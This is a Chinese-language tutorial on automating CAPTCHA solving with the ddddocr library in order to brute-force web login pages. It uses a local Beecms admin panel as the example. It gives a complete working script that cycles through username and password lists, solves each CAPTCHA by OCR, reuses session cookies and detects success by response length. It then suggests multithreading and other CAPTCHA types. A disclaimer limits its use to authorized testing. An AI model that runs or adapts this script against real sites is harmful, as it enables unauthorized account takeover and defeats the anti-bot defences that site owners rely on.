基于ddddocr库的网站验证码识别爆破教程

1. 前言

在网络安全渗透测试中，验证码是网站常用的防护手段之一。当遇到需要爆破但存在验证码防护的网站时，验证码自动识别技术就显得尤为重要。本教程将详细介绍如何使用Python的ddddocr库来实现验证码识别，并应用于爆破测试中。

2. 验证码识别技术概述

2.1 传统机器学习方法

对于字母加数字的组合验证码，传统方法通常采用以下步骤：

1. 爬取验证码图片：获取足够数量的样本
2. 图片预处理：
   • 去除背景噪声
   • 图片灰度化
   • 字符切割
3. 模型训练：使用KNN等算法训练识别模型
4. 预测应用：使用训练好的模型预测新验证码

2.2 ddddocr库的优势

ddddocr库解决了传统方法的以下问题：

• 内置大量预训练模型，无需自行训练
• 自动处理字符位置不固定、字符粘连等问题
• 支持多种验证码类型（数字字母组合、滑动验证、选字填充等）

3. 环境准备

3.1 所需工具

• Python 3.x
• ddddocr库：pip install ddddocr
• requests库：pip install requests
• 测试环境：Beecms（或其他有验证码的网站）

3.2 验证码样本收集

import requests

url = "http://localhost/beecms/admin/admin_code.php"  # 验证码URL

# 爬取100张验证码
for i in range(1, 101):
    get_img_response = requests.get(url)  # 发送GET请求
    img_data = get_img_response.content
    with open("img/%d.png" % i, 'wb') as fp:
        fp.write(img_data)
print("爬取结束!")

4. ddddocr基础使用

4.1 简单识别示例

import ddddocr

ocr = ddddocr.DdddOcr()
with open("5a4c.png", "rb") as f:
    im = f.read()
r = ocr.classification(im)
print(r)

4.2 常见问题处理

• 数字"9"和字母"g"混淆：这是常见问题，可能需要多次尝试或额外处理
• 识别准确率：ddddocr对简单验证码识别率较高，但复杂验证码可能需要调整参数

5. 爆破脚本编写

5.1 目标分析

• 登录URL：http://localhost/beecms/admin/login.php?action=ck_login
• 验证码URL：http://localhost/beecms/admin/admin_code.php
• 请求参数：未加密，直接POST

5.2 完整爆破脚本

import ddddocr
import requests

# 配置参数
username = ["aaa", "ccc", "admin"]  # 用户名字典
password = ["111", "admin"]         # 密码字典
docr = ddddocr.DdddOcr()
header = {"Content-Type": "application/x-www-form-urlencoded"}
code_url = "http://localhost/beecms/admin/admin_code.php"
target_url = "http://localhost/beecms/admin/login.php?action=ck_login"

# 获取初始验证码和cookie
response = requests.get(code_url)
img_str = docr.classification(response.content)

# 爆破循环
for u in username:
    for p in password:
        # 每次获取新验证码
        img_str = docr.classification(response.content)
        
        # 构造POST数据
        post_data = {
            "user": u,
            "password": p,
            "code": img_str,
            "submit": "true",
            "submit.x": "32",
            "submit.y": "38"
        }
        
        # 发送请求（携带之前获取的cookie）
        data = requests.post(
            target_url, 
            data=post_data, 
            headers=header, 
            cookies=response.cookies
        )
        
        print("正在爆破 用户名: " + u + " 密码: " + p)
        
        # 判断是否成功（根据返回长度）
        if len(data.text) > 10000:
            print("爆破成功!! " + "用户名: " + u + " 密码: " + p)
            break

print("爆破结束")

5.3 关键注意事项

1. Cookie同步：必须携带获取验证码时的cookie，否则会导致验证码不同步
2. 识别错误处理：数字"9"和字母"g"可能混淆，可能需要多次尝试
3. 成功判断：本例通过返回内容长度判断，实际应根据目标网站调整
4. 请求间隔：有些网站有登录失败延时（如4秒），脚本需要考虑这一点

6. 优化建议

1. 多线程/异步：提高爆破速度
2. 验证码缓存：对已识别的验证码进行缓存，减少重复识别
3. 错误重试：对识别错误的验证码自动重试
4. 更精确的成功判断：结合返回内容特征而非仅长度判断

7. 扩展应用

ddddocr还支持以下验证码类型：

• 滑动验证码
• 选字填充验证码
• 文字点选验证码

针对不同类型验证码，只需调整识别方法即可。

8. 法律与道德声明

本教程仅用于网络安全学习与研究目的。未经授权的渗透测试可能违反法律，请确保获得授权后再对目标系统进行测试。使用者需自行承担因滥用该技术导致的一切后果。

9. 参考资料

1. ddddocr官方文档
2. Beecms代码审计
3. 验证码识别技术综述